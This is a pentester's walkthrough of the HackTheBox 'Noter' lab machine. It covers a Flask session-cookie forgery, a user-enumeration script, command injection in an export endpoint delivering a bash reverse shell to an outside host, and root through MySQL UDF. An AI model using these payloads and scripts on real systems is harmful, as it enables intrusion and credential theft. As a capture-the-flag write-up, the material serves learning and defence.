HackTheBox: Noter
Introduction
I’m no expert and just starting out as a pentester after three years as a vulnerability management automation developer and cyber security ‘engineer’. Here’s a link to the badge of completion for this box, as proof that I solved it before the soluton was posted all over the internet. I wish to start writing more posts like these in the future in order to give back to the community and hopefully learn in the process as well. Noter was just a random box that I picked up from the live boxes on HackTheBox right before I started my new job. Thanks for reading!
Recon
The first step in recon is to identify the exposed services on the system we’re testing. I start off with a generic nmap scan with default scripts and versioning parameters with full ports.
nmap -p- -sV -sC -oN full-ports noter.htb
Nmap scan report for noter.htb
Host is up (0.039s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
| 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
FTP/22
When seeing FTP the first thing I try is trying to access anonymously.
ftp noter.htb
When prompted for a username, I enter anonymous
and then junk
as a password. In this case, that doesn’t work. I leave this here for now and in the worst case we can try bruteforcing some credentials later.
SSH/22
Normally SSH is pretty secure. We leave this here for now. If needed later we can try bruteforcing credentials here as well, especially if we have a hint on which usernames exist and the password format.
HTTP/5000
When I see a web server running, the first things I do is run some simple web discovery using default settings.
nikto -host http://noter.htb:5000 | tee nikto.txt
dirb http://noter.htb:5000 | tee dirb.txt
This information I could have gotten by simply manually going onto the page and clicking around, but I like having as much mapped out as possible and very often we find hidden treasures. Depending on the technology stack, I run more enumeration tools with different wordlists; but this wasn’t necessary for this box.
---- Scanning URL: http://noter.htb:5000/ ----
+ http://noter.htb:5000/dashboard (CODE:302|SIZE:218)
+ http://noter.htb:5000/login (CODE:200|SIZE:1963)
+ http://noter.htb:5000/logout (CODE:302|SIZE:218)
+ http://noter.htb:5000/notes (CODE:302|SIZE:218)
+ http://noter.htb:5000/register (CODE:200|SIZE:2642)
Bug hunting
The next step is to open up my web proxy and start poking around the website manually. I quickly realize that we’ll need to register an account to see more content. So, I register a dummy user and start poking around more.
When creating notes, I try pasting some XSS and template injection payloads (including polyglots) and see that it’s vulnerable to XSS. For now, this isn’t super useful since we’d need user interaction, so I just write it in my notes for now.
PoC XSS payload inside the note’s description:
</textarea><script>alert("test");</script>
Next, when viewing notes, I realize that there’s possibly an IDOR (insecure direct object reference) as there’s an ID in the URL http://noter.htb/notes/3/
. I try fuzzing the ID there with different values but I end up just getting redirected when the note doesn’t belong to my user.
Here’s the related source code after the fact just so the reader here can see why the code isn’t vulnerable to IDOR. The reason it isn’t vulnerable is because the select statement checks if the note’s owner is the current user. If the note’s owner is not the currently connected user, then the user gets redirected to the /notes
endpoint.
@app.route('/note/<string:id>/')
@is_logged_in
def note(id):
# Create cursor
cur = mysql.connection.cursor()
# Get notes
if check_VIP(session['username']):
result = cur.execute("SELECT * FROM notes where author= (%s or 'Noter Team') and id = %s",(session['username'], id))
else:
result = cur.execute("SELECT * FROM notes where id = %s and author= %s",(id, session['username']))
note = cur.fetchone()
if not note:
return redirect(url_for('notes'))
note['body'] = html2text(note['body'])
return render_template('note.html', note=note)
From here we’ve hit our first roadblock. It seems we need to gain access to an existing user since the notes ID for our created note starts at 3, so that means 1 and 2 must exist! So, there are a few things we can look for to get a list of users (or something else of value).
We can get some web discovery running in the background with as many applicable wordlists as possible in order to hopefully find a file which would leak interesting data such as usernames, credentials, a .git folder, backup files, etc. This unfortunately wasn’t really useful in this case.
While the enumeration was running, we could look deeper inside the register or login endpoints and see if it can leak anything regarding the existence of a user. Since we have a valid user that we’ve created earlier, we can try logging in as that user with an invalid password. When doing so, we see the error message Invalid login
. On the other hand, when we try logging in with an invalid username, we get the error message Invalid credentials
. So, the next step is to automate this using some wordlists that are at our disposal.
Here’s the script to enumerate users:
import requests
users = [] # ['admin', 'root', 'default', 'Noter', 'administrator', 'Administrator', 'Admin']
user_list_file_path = '/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt'
with open(user_list_file_path) as h:
users = h.read().split('\n')
for user in users:
data = {
'username': user,
'password': 'junkjunk123'
}
user_exists_key = 'Invalid login'
user_doesnt_exist_key = 'Invalid credentials'
response = requests.post('http://noter.htb:5000/login', data=data)
if user_exists_key in response.text:
print(f'User {user} exists')
input()
elif user_doesnt_exist_key in response.text:
print(f'User {user} doesn\'t exist')
else:
print(f'What happened? {user}: {response.text}')
Using this wordlist /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
, we find out that there’s a valid user called blue
.
Now, I hit another roadblock. What do I do with this user? We can try bruteforcing its password on the web server, in FTP, in SSH, but there’s likely another solution. Now, this is when you have to know a bit more about existing web frameworks. We saw earlier in the port scan that the web server was running on python. So, if we look online for python web frameworks, we see a somewhat short list: Django, Flask, FastAPI, etc.
If we look at our session cookie when logged in more closely, we can see that the session is a JWT token (starts with ey
and has .
s) and that the user is mentioned inside the first part encoded as base64
. We can use sites such as jwt.io
or the base64
binary to get more information:
echo 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicGhlZWxiZXJ0In0.YovkxA.soiJbRrnfjxKqynYs1QFWsJcwSU' | base64 -d
{"logged_in":true,"username":"pheelbert"}base64: invalid input
Often JWT tokens are signed with a secret key to ensure that the token cannot be tampered with. This is when we can start googling terms such as session sign python
and flask session exploit
. Finally, we fall onto the HackTricks web page which details exactly what we need.
- Bruteforce the secret key used for signing the session token
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicGhlZWxiZXJ0In0.YovkxA.soiJbRrnfjxKqynYs1QFWsJcwSU' --no-literal-eval
- Using the found secret key, sign a token for the user we found
flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'
We can copy-paste this session token into our cookie jar and start browsing the notes that are accessible to the blue
user. This user is also a VIP user (specific to the Noter application), so it can see some extra notes and has access to more functionality as we’ll see later.
In the notes, we see that the password for FTP for the blue
user is blue@Noter!
and this message is coming from the user called ftp_admin
. We log into FTP and download policy.pdf which then provides us information that this is the default password format: username@Noter!
.
With such information, I decided to try the same credentials via SSH and unfortunately the nologin
shell was set up for the blue
and ftp_admin
users. This password format didn’t work for root
either. I tried bypassing this to no avail.
Now, we must log into FTP using the ftp_admin
user with the password ftp_admin@Noter!
. This user has some backup files available for the web application that is running.
When performing a diff on both versions of app.py
, we find some MySQL credentials:
diff app_backup_1635803546/app.py app_backup_1638395546/app.py
< app.config['MYSQL_USER'] = 'root'
< app.config['MYSQL_PASSWORD'] = 'Nildogg36'
---
> app.config['MYSQL_USER'] = 'DB_user'
> app.config['MYSQL_PASSWORD'] = 'DB_password'
We also find a few newly added endpoints in the later version of the backup:
@app.route('/export_note', methods=['GET', 'POST'])
@app.route('/export_note_local/<string:id>', methods=['GET'])
@app.route('/export_note_remote', methods=['POST'])
@app.route('/import_note', methods=['GET', 'POST'])
We can try using those credentials on all exposed services and password spraying as well, but in this case that wasn’t the solution.
Foothold
What we need to do is look more closely at the /export_note_remote
endpoint.
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
if check_VIP(session['username']):
try:
url = request.form['url']
status, error = parse_url(url)
if (status is True) and (error is None):
try:
r = pyrequest.get(url,allow_redirects=True)
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):
return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)
else:
return render_template('export_note.html', error="Error occured while exporting the !")
except Exception as e:
return render_template('export_note.html', error="Error occured!")
else:
return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
except Exception as e:
return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")
else:
abort(403)
Looking at this source code, we notice that this endpoint only accepts a single parameter called url
. The response body (r.text
) of the fetched URL is concatenated into a system command (command
variable passed in the subprocess.run()
) directly without sanitizing the user input. What we need to do is create a file that is remotely accessible to the victim host with the contents:
junk';bash -i >& /dev/tcp/10.10.14.14/443 0>&1 #
That final payload will end up generating the following command
string:
node misc/md-to-pdf.js $'junk';bash -i >& /dev/tcp/10.10.14.14/443 0>&1 #' {rand_int}
Before going straight to a reverse shell payload (or after failing with a few different reverse shell payloads), I normally try doing a simple sleep
and nc
to confirm I have command execution and that the port I’m trying to use is not being blocked. In this case, the reverse shell worked on the first try!
When trying to do the call to the endpoint parameter, we get an Invalid file type
message when using the .txt
extension. We can look at the source code (the one we found in the backups of the FTP share) to determine what type is accepted:
def parse_url(url):
url = url.lower()
if not url.startswith ("http://" or "https://"):
return False, "Invalid URL"
if not url.endswith('.md'):
return False, "Invalid file type"
return True, None
I create a quick script to automate the exploit and ensure I have a web server serving the exploit.md
file with the contents explained above:
import requests
data = {
'url': 'http://10.10.14.14/exploit.md'
}
cookies = {'session': 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.Yov0pQ.vMO5vFoxaGTBtlfUpmSTl2EKMv4'}
response = requests.post('http://noter.htb:5000/export_note_remote', data=data, cookies=cookies)
print(response.text)
Listening for connections on the port 443, we finally gain a reverse shell as the svc
user.
Privilege escalation
I typically follow some steps once I gain initial access to a linux system which includes but isn’t limited to the following:
- What elevated permissions does the current user have (check
GTFOBins
)?sudo -l
- What kernel version is running (it might be easily exploitable, check using
linux-exploit-suggester-2
)?uname -a
- Run some local enumeration scripts (such as
LinEnum.sh
andLinPeas
) - Check what services are listening locally which weren’t exposed from an external view
ss -tulpn
- If nothing of the above gives anything, I search for sensitive files all across the file system. Most importantly, I look at the folder I got dropped into by the reverse shell (typically web root or similar) for juicy configuration files.
I tried su
-ing to different users that had the nologin
shell set up using the command su blue -s /bin/bash
and su ftp_admin -s /bin/bash
and repeated the above steps which were applicable. This effort wasn’t useful in this case.
When looking at the listening services, we see that the mysql
service is listening on port 127.0.0.1:3306
. We can connect to this service using the credentials that were leaked inside app.py
(root:Nildogg36
). Once connected, we can look at our privileges by running show grants
as well as browse through the available databases for any useful information. Nothing new of interest is found in the database.
Since we have full privileges as the root
database user, I look at my personal notes and realize we can possibly escalate privileges using User Defined Functions
(UDF
s). This functionality in MySQL allows developers (or attackers) to run anything natively on the database host in the same context as the user that is running the service. In our case, we’ll soon learn that it’s root
. A good practice is to ensure that the user running the database (or most any other services) is a low-privilege user which only has access to what’s needed for it to work properly (principle of least privilege).
Since this kind of exploit is a annoying to do manually and I’m lazy, I google for an automated way to exploit this and find a great python script that does the job.
All that is left to do is copy the exploit script over to the victim machine and run the following commands:
python3 udf_root.py --username 'root' --password 'Nildogg36' # Creates /tmp/sh with SUID bit
/tmp/sh -p
I’m in :sunglasses:! As the root
user, we have full system access.
Conclusion
Hopefully someone will have learned something from this. I personally had to dig a little deeper to more clearly explain certain concepts. The box itself was a great medium difficulty challenge and taught me new things about JWT tokens and Flask. Please give respect to the creator kavigihan #389926 for the work they’ve put in for us to learn.